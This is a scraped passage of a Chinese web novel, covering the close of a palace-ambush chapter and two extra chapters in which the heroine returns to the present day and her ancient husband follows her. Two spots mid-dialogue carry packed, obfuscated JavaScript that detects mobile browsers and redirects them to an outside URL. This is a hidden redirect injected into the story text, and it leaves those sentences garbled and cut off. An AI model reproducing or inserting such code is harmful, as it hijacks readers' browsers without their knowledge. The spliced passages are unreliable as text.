季荆南立刻拉起赵泓玉,拔出自己腰间那把佩刀将利箭劈落,反身把赵泓玉往池塘另一边拉去。 “是谁!”赵泓玉终于清醒过来,眸底透出幽幽寒光,望向四周。 “殿下,跑。”季荆南没有为此停下脚步,只是看了眼屋顶那些不知何时冒出来的黑影,干脆利落地拽住赵泓玉狂奔。 两人跑出宴厅,进了皇宫深处的一方院墙,直到那些人不再追赶才停下脚步。 “今日之事,有劳了。”赵泓玉的体力显然没有将军之子来得好,刚停下就开始气喘吁吁起来。 “属下份内之职,殿下不必如此。”季荆南依旧恭敬如方才一般,只是有些面露疑惑,“方才那些,是刺客吗?” “还不清楚,想要吾命的人多了去了,只怕这些人不仅仅是冲着吾来的。”赵泓玉终于缓过神来,面色严肃道。 “不好,父皇!”赵泓玉望向不远处灯火通明的宴厅,不祥之感油然而生。 “殿下不必担忧,那里有我爹娘在,歹人必然不能得逞。”季荆南出声安慰。 赵泓玉却没有彻底松懈下来,从自己的怀中取出小弩,绑上小烟花正要冲天上放去。 “不可!殿下,再等一会。”季荆南有些诧异堂堂皇子竟随身携带这些事物,但惊讶之余依旧先制止了他。 “对,不可操之过急,多谢。”赵泓玉放下小弩,将心神稳定下来。 二人待在暗处,季荆南主动和赵泓玉谈起边疆的事,倒也缓和了紧张的氛围,直到刺客全部被拿下,那信号被放出去,这两人才被发现,皇帝和镇北将军亲自赶来接他们回到安全之地。 自此,二人本着过命的交情,也算是彻底相识。 64. 番外:现代part(1)^^…… “小熙,该起了。” 额头似乎被什么温热的东西紧紧贴住,谢筠熙猛得睁开眼,可面前的场景却让她惊掉了下巴。 亲爱的母上大人正满眼担忧地看着她。 假的吧。 “妈!!我怎么又做这个梦了……”说着她闭上双眼,直直往后倒去,企图让自己从睡梦中醒来。 “你这孩子!都在家里歇了多久了!让你不好好顾着身体熬夜工作,昏了这么久还是我给你请的假,亲妈都要着急死了,刚醒来就这副样子算什么,起来!” 面上拂过阵阵掌风,下一秒屁股传来一阵剧痛。 谢筠熙吓得“嗷”叫了一嗓子,谢筠熙一个鲤鱼打挺就从床上跳起来,下意识做出李时丰教过她的防御起手式。 屁股上那火辣辣的疼痛感如有实质,谢筠熙回过神来,又狠狠掐了自己的胳膊一把,眼神都清澈了不少:“不是吧……我靠我真回来了!!” 欢呼没过多久,对上老妈那苛责的目光,声音顿时虚了不少,谢筠熙撇开目光,带着三分心虚,四分谨慎和三分激动,放下手跪在床上负荆请罪般一点点挪到母上大人身边,揪住她的衣服一角开始撒娇:“妈……我错了……我现在不是醒了嘛……” “醒了,醒了那我就走了,还有工作呢!”说罢谢妈就甩开自家女儿的手,留下一个绝情的背影便摔门而去。 谢筠熙的手还僵在半空中,晴天霹雳。 我这一趟穿越好说也有好几年没见到老妈了……呜呜呜呜呜我好惨,被抛弃了…… 还说这究竟是怎么回事?对了,李时丰呢! 时间回溯到一小时前。 自从谢少卿和季将军成了婚,全京城都在为这段绝美的爱卿赞歌,谢筠熙搬进了重获新生的镇北府,而谢相和代为父母的杜寿年自然而然也成了亲家,自从谢康出狱,皇帝便重新恢复了他的官职,两个老头官场上合作无间,下了朝就成日出去喝茶吃酒,真正结了莫逆之交,李时丰和谢筠熙总看不见他们的踪影,自然也多了二人世界的时光。 这日休沐,谢筠熙照常赖床,昨夜里将军实在折腾得厉害,就快将她的身子给折腾散架,自从成婚后,这李时丰就跟开了荤似的,每日变着花样折磨自己,导致自己差点误了差事,饶是提醒多次,此人依旧屡教不改。 她睡得正香甜,突然听见一阵急促的敲门声,轻“啧”一声,她不情不愿从床上爬起,拖着疲惫的身躯迷迷糊糊下了床,双腿颤抖前去开门。 “早啊谢大人,今日可有空去春满园啊,孤请你吃饭。” 我就知道是赵泓玉这厮!! 谢筠熙幽怨地眯着双眼,扶住自己的老腰,一副弱不禁风摇摇欲坠的模样,虚弱地开口拒绝:“太子殿下,你要闲得慌就去找李时丰那货,找我作甚。” “哦~你俩这……好吧,那本王不去春满园了,等时丰回来叫你们家的老婆子做饭吃。” …… “殿下,强买强卖非王储之风。”谢筠熙沉默了半瞬,最终憋出句,“想来蹭饭可以直说的。” “哦,孤已经直说了,这下可以了吧。”赵泓玉笑嘻嘻地同谢筠熙打趣儿。 “……可以。”谢筠熙好不容易直起腰,和赵泓玉那狡黠的双目对上,说出的话都带些咬牙切齿的意味。 李时丰回来时,看到的正是谢筠熙衣衫半开和赵泓玉在门口谈话的模样。 醋坛子瞬间就翻了一地。 他嘴唇紧抿,眸色暗沉快步上前,将尊贵的太子殿下挤到一边,伸出手一把搂住谢筠熙,又细心地把她的衣服拉上。 最后一脸不满地通红赵泓玉对峙:“下官就出去买了趟吃食,殿下怎么不让家中小仆招待,反倒径直往家妻屋来。” “时丰啊,不是孤说,你这偌大的镇北府,统共就一个老婆子加两个五大三粗的伙计,他们又不敢同孤说话,就只好来找令妻了。”赵泓玉说得坦然。 “殿下若是觉得无趣,可以早些日子找个太子妃陪……”李时丰正要同他掰扯,忽觉怀中之人身子一软,竟直直栽到自己的臂弯上。 “筠熙!”李时丰惊呼出声,将人横打抱起重新大步跨进屋中,又轻轻放到床铺间,眉头拧起肉眼可见都担忧。 赵泓玉此刻也不和李时丰拌嘴了,面色正经起来,和李时丰一同来到榻边,忽得想起些什么,欲言又止。 李时丰试了各种好办法,可谢筠熙依旧不醒,似乎是莫名晕了过去。 “孤去叫郎中过来。” “殿下不必!”李时丰却制止了他。 “为何?怕郎中诊出来谢大人如此是因为你日夜操劳?”赵泓玉转身,看向李时丰的眼神意味深长起来。 “自然不是!”李时丰立刻否认,又转向谢筠熙,“这几日她总是这样,晕得毫无征兆,然后又突然醒来,这几日昏睡的时间是越来越长了,本想让她向陛下告假,可她近日忙得很怎样都不肯,说无大碍,性子倔得很,我都劝不动她……” “这事怎么不早同孤说?”赵泓玉蹙眉。 “殿下您日理万机,筠熙不想打扰您。”李时丰垂下眸子。 “你等着,孤叫你家伙计去叫个人过来。”赵泓玉似乎是想到了什么,急忙往外走去。 不多时谢筠熙的好友艾诺进了镇北府。 现世里。 谢筠熙觉得事情没有这么简单,她下床活动活动筋骨,开始条件反射梳理起这件怪事来。 全身上下没有什么不对劲,只是脑子有些疼,身体状况根本不像危在旦夕的样子,倒像是睡多了。 正想着,门突然传来开锁的机械音,谢筠熙被吓得虎躯一震,立刻又坐回到床上,进来的果真是谢母,她这一趟出去,拎了大包小包的东西回来,应该是刀子嘴豆腐心,给自家逆子买吃的去了,只是…… “小熙啊,你这个学生是怎么回事,穿成这样就找到你家来了,我还以为这附近最近是办了漫展什么的呢!” 谢筠熙的目光顺着谢妈身后看去,一个格格不入的古风小生映入眼帘,再乍一看,这剑眉心目气宇轩昂的模样,还有那熟悉的尊容,不正是自己那混账夫君!!??? “我……”谢筠熙把粗口憋了回去,坐得乖巧,给母上大人一个交代,“那个,这学生是分到我手下实习了,最近应该是有研究项目要来找我……” “这样。那你们忙,妈先走了。”谢母放下东西转身又要走。 “不是——妈你先别走!!”谢筠熙飞身起来,赶紧拽住自家亲妈,“妈……我睡了多久啊……” “你睡了整整两天两夜!!”谢母一听这话望向女儿的眼神又责备起来,“就算最近工作忙也不可以这么逼自己啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917818|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你妈亲自给你请了一星期假,现在还剩五天了。” 谢母戳戳女儿的脸颊,张开手掌在她面前晃了晃。 “一星期!!”谢筠熙想到了穿越过的时间和现实不一样这一点,但她却没有想到她家母上给她请了一星期假,“燕大的讲座也就算了,可是我手头那批新到的文物……” “这就得谢你师兄师姐了,他们把你那份工作给包了,看你每天勤勤恳恳,都吩咐我让你好好休息。” 谢母无奈又宠溺的目光和谢筠熙那松了一口的模样全部落到一旁李时丰的眼里,一时之间他的眼底翻涌着欣慰的情绪。 “好,妈你去忙吧呜呜。” 谢筠熙扑进妈妈的怀里,声音有些呜咽,眼眶竟不自觉地又泛了红。 再一次回到母亲的身边,她的心中泛起千层浪,如排山之势将她的思绪搅得一团糟。 等到谢母千叮咛万嘱咐叫她好好吃些东西,这才开门离开时,李时丰才缓缓开口:“这便是岳母?” “……对。”谢筠熙有些愣神,但总算有些平静下来。 李时丰扶住她,温言软语将她带进这形制古怪的屋子里,找了个地方坐下。 “筠熙,这便是你从前和我提起过的故居吧?”李时丰轻轻拭去谢筠熙眼角的泪珠,又低下头在她的额头留下一枚轻吻,这才开始盘问起自己的妻子。 “是,如今这番情形,我应是通过某种方式又回来了,只是不知大人你是……怎么来这的?” 谢筠熙伏在李时丰的胸口,声音有些闷闷的,仍带着些哭腔。 “太子殿下叫艾诺进了府,说她还通晓些术法,能让我进你的梦境一探究竟,起先本将军是不信的……” 谢筠熙听罢惊呼:“好家伙,小诺真是不简单!!只是我可以确认这里不是梦境,不信你把手伸来。” 李时丰乖乖伸出手,谢筠熙一把抓住,坏心眼地漏出牙齿往嘴上狠狠怼了一口,一排整齐的牙印就这样出现在了李时丰手上。 “嘶……筠熙还是这般蔫坏,确实疼,不是梦。” 虽然谢筠熙这一咬同挠痒痒没什么区别,但李时丰能明显感觉到痛觉,所以妻子所说应当不假。 “所以……现在是你一个古人来到了几千年后的现代!?”谢筠熙突然反应过来,神情有些激动。 “嗯。”李时丰浅浅一笑。 “这下好玩了。”谢筠熙摩拳擦掌,眼泪也不流了,鼻子也不吸了,满眼都是冒着星星的期待。 “欸?突然想起来,你小子,是不是拿我的学生身份诓我妈来着!”谢筠熙反身压到李时丰身上,凑近李时丰一脸狐疑。 “嗯……我过来的时候,是先到了一处类似学府的建筑面前,那里有许多年轻人,本来想随便拉个人问问,但他们似乎都有些怕我,不敢同我说话,直到岳母出现,我问了你的名字,机缘巧合就……知道了你在这的身份,于是顺水推舟就……” 李时丰垂着眼睛没有看谢筠熙,一副可怜巴巴的模样,将谢筠熙看得有些心痒痒。 “吧唧”。 谢筠熙赏了他一个大大的kiss,这才开口:“本官的人就是聪慧,既然你来都来了,虽然不知道如何回去,但既来之则安之,先带你体验一下现代生活吧!” “好。”李时丰和她额间相抵二人都笑得开怀。 65. 番外:现代part(2) “筠熙,那处学府是你在此的办公之所?”李时丰随谢筠熙进了她的卧室,参观之余又同妻子闲聊起来。 谢筠熙一心埋在衣服堆里,连同和李时丰说话也有些轻喘:“是,但也并非只有这一处,只是有时会为里面的学生授课。” “我的筠熙好生厉害。”李时丰走近谢筠熙,毫不吝啬地夸赞。 “不敢不敢。”谢筠熙谦虚抿嘴一笑,从衣服堆里勉强搭出一套看上去没什么毛病的穿着,扔给李时丰,“大将军,平时我家里除了老妈和好基友会偶尔来坐坐,就只有我一个人,这些衣服还是我在商场折扣时买的,可能有些小,你先凑合穿着,一会跟我出门给你买套新的。” 李时丰精准接住谢筠熙抛来的衣服,见这些样式简单又形状奇特的衣裳陷入了沉思。 “你这刀,也收起来。”谢筠熙一把夺过随李时丰一同而来的那把横刀,捧在手心里欣赏了一会,“哎呀,放现在这刀就是文物,是无价之宝,我要是私藏在家这有违公序良俗,我的工作证也该在天上失望地看着我了,要不捐了吧。” “哦?”李时丰缓缓贴近谢筠熙,“你这是打算不会去了吗?” “这……”谢筠熙方才还乐在其中,想到这层,脸上的笑意荡然无存。 李时丰意识到戳中了谢筠熙的痛处,忙变了脸色,将妻子揽进怀中:“抱歉,是我说错话了,这里是你原本的家,家,也有你为之牵挂的人,是我太自私了。” 谢筠熙虽有些惆怅,但并没有李时丰想得这么严重,她一把推开李时丰,往后退几步站定,秒切一副工作脸:“季将军,你这话我就又不爱听了,我本是你妻,对我这样优秀的女子有占有欲本就正常;这里是我出生长大成才的地方,我有牵挂之心亦是正常,不必妄自菲薄。只是我在想,你既是以身入这似梦非梦的地方,那梦醒了,自然是要回去,只是有些事情,我需问问艾诺,总觉得她有办法让我来去自如。” 李时丰听得认真,望向谢筠熙的眸中满是专注,闻罢他点了点头:“听你这么一说,的确是我先杞人忧天了。” “对嘛,来都来了,先看看这未来之界是何等模样,也算是一大奇事了。”谢筠熙指向窗外那明亮的天空,露出自豪的神情。 李时丰终于放下心来,接过谢筠熙手里的衣服,准备着手脱去自己身上的便服。 “你别动,让你娘子来给你脱。”谢筠熙脸上的笑意几乎要溢出。 李时丰不知为何有些拘谨起来,成婚多年,两人该看和不该看的都已经见过了,到了谢筠熙的时空,反倒浑身不自在蛮,但他依旧乖乖打开了臂膀任由谢筠熙上下其手,只是耳朵烧红起来。 谢筠熙连吃带拿替他换上了衣裳,又替他将头饰拆下,亲自扎了个马尾这才满足地拍了拍夫君厚实的胸肌,允许他去全身镜看看。 镜中之人依旧英俊逼人,风流倜傥,换上现代的装束,放到人群中也是十分扎眼的存在,只是谢筠熙的衣服实在有些偏小,被李时丰硬生生穿成了紧身衣。 好在现代正值夏季,谢筠熙的衣服倒也还能凑合,就是李时丰那身材实在被凸显得太好…… 谢筠熙默默在心中压下将起的邪念,开始兀自打扮起来,为出门做准备。 李时丰就这样坐在谢筠熙身边默默盯着她,不出五分钟谢筠熙就红成了油焖大虾。 “别……别看着我了,你去客厅看会电视吧。”谢筠熙心虚地扭过头,不敢与李时丰对视。 “可是我哪里知道那些东西如何使用,求娘子教我。” 李时丰之言如同恶魔低语,将谢筠熙勾得神魂颠倒。 她好不容易做完了最后一件事,“啪”地从座位上起身,推着李时丰的后背来到客厅。 “你现在也不必看了,就只给你表演一下吧。”谢筠熙拿起底下的遥控器,将电视打开,漆黑的屏幕上突然有了色彩,里面走动的人和奇异的画面还真将李时丰这个古人给唬住了。 “现世竟有如此神奇的事物,看来我之后人果真一直聪慧绝顶。” 谢筠熙此刻终于冷静下来,听见李时丰这番话,心中忽然有些感慨:“是啊,我泱泱大国,虽历经改朝换代,但如今这等繁华,也是世上独一份,是多少人的求之不得。” “走,带你去外面看看!”谢筠熙带上早就整理好的小包,背上肩头就拉着李时丰往外走去。 二人出门时天色已有些暗沉,谢筠熙决定先带李时丰出去填饱肚子。 夜幕将降,这钢筋水泥铸成的一栋栋高楼里,散发着幽幽灯光,是千家万户,是世间安居乐业的后朝之人。 路灯之下,有许多和谢筠熙李时丰一般前往商场的普通人,无论是情侣,家人还是朋友,无不洋溢着幸福的微笑。 李时丰拉住谢筠熙的手,此刻心间有千言万语,但到了嘴边,又不知该如何表述,只能将心爱之人揽在臂膀之间,同万千民众一般,享受这从未有过的安宁。 谢筠熙似有所感,将自己的肩头和李时丰依得更紧,眸中倒映着灯火长明,唯有“满足”二字溢于言表。 二人享用完晚餐,自然而然地开启了购物模式,谢筠熙也是体验了一把为丈夫搭衣的快乐,谈笑之间,李时丰手头的购物袋又多了几个。 直到回到家中,两人还沉浸在今日之欢愉中久久无法平复。 “若我是你,也不愿离开这般盛世,只是还未将余生都奉献于家国,回去之后再不能回来,你当如何?”李时丰轻抚妻子的乌发,轻声问出这番话。 “那便将你要做的事做完,将你未尽之愿达成,将军,不要忘了,没有辰朝之繁盛,亦无后朝,亦无当今之安。” 谢筠熙抬起头,眼中有星光闪烁。 “我妈是个律师,相当于大辰的律法守护者,为民申冤者,虽然现在大家的幸福指数都得到了质的飞跃,可是无论是何朝代,居心叵测之人依旧难消,若她今天在这里,我即便是将真相告诉她,她也会同意你我的决定。”谢筠熙垂眸道出事实。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927731|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “筠熙……”李时丰心中五味杂陈,除了对妻子的爱,敬佩之意更甚。 “趁着还在这里,明早带你看看我在做的事情吧。”谢筠熙捧住丈夫的脸颊,在上面留下一枚轻吻。 直到李时丰亲眼所见,他才知道自己的妻子究竟优秀到何等地步。 他同谢筠熙的学生一起坐于讲台之下,望向她侃侃而谈的模样,聚光灯之下她那慷慨激昂的模样,落到眼中竟是如此得耀眼。 待到讲座结束,他的妻子被学生们团团围住,里三层外三层根本进不去。 为人之师,谢筠熙耐心,沉稳,温柔;时而又幽默风趣,举手投足之间,是对自己专业的熟稔和自信,李时丰在人群之外看了许久,最终选择不上前打扰。 “久等了,带你去看看我的工作室。”谢筠熙好不容易从这帮热情的小兔崽子中脱身出来,拍了拍乖乖蹲在一旁的李时丰肩头。 二人并肩而行,在大庭广众之下牵手离去。 “我去我没看错吧……”学生们炸开了锅。 “熙姐这是铁树开花了?” “你们能看来感受到这两人之间的氛围吗了,啊啊啊我赌二十块绝对是真的!” “不用赌,我打包票是真的。” 二人怎么会没注意到背后的动静,只是相视一笑,并未理会罢了。 修复室内。 “小熙回来了!终于回来了,听你之前晕倒了,可把我们担心死了,现在看你这样,恢复得不错啊。”谢母口中的师兄师姐们蜂拥而上,对着谢筠熙嘘寒问暖。 “我没事了,放心吧,最近的进度怎么样啊?”谢筠熙只是草草应对了几句,忙穿好自己的工作服同李时丰交代了几句注意事项,带着他直奔工作台而去。 “最近新送来的,师妹你快看看。”众师兄师姐就像是看见了救星一般,一齐站到工作台旁。 “这是……” 谢筠熙看向工作台间那两幅人物画,一时之间竟有些震悚。 此时终于有人注意到李时丰的存在,但介于此刻情况特殊,众人都识趣地没有开口问。 “赵明赫?”李时丰抱拳上前一步,对着残缺的画像上那熟悉的面孔缓缓开口。 “你怎么知道这是我们新发现的一处墓穴陪葬画像,墓主正是此前从未发现过的辰朝皇帝赵明赫?” 说出这话的师兄被狠狠拍了一下,这种还未出结果之事切不可跟陌生人说,他自知理亏,闭口不言。 “没事,跟他说了没关系。”谢筠熙转过身,眼中坚定不移,“除了这个,还有什么?” “还有这个妆匣,也是待修复。”方才说话的师兄上前一步,指向另一个工作台上的事物。 谢筠熙和李时丰一齐望去,正是藏有指认柳洵罪证的柳贵妃之匣。 “大家开工吧。”谢筠熙年纪虽是这帮人里最小的,但说出的话却颇具威信,一行人听完,立刻各司其职化鸟兽散。 谢、李二人相视一笑。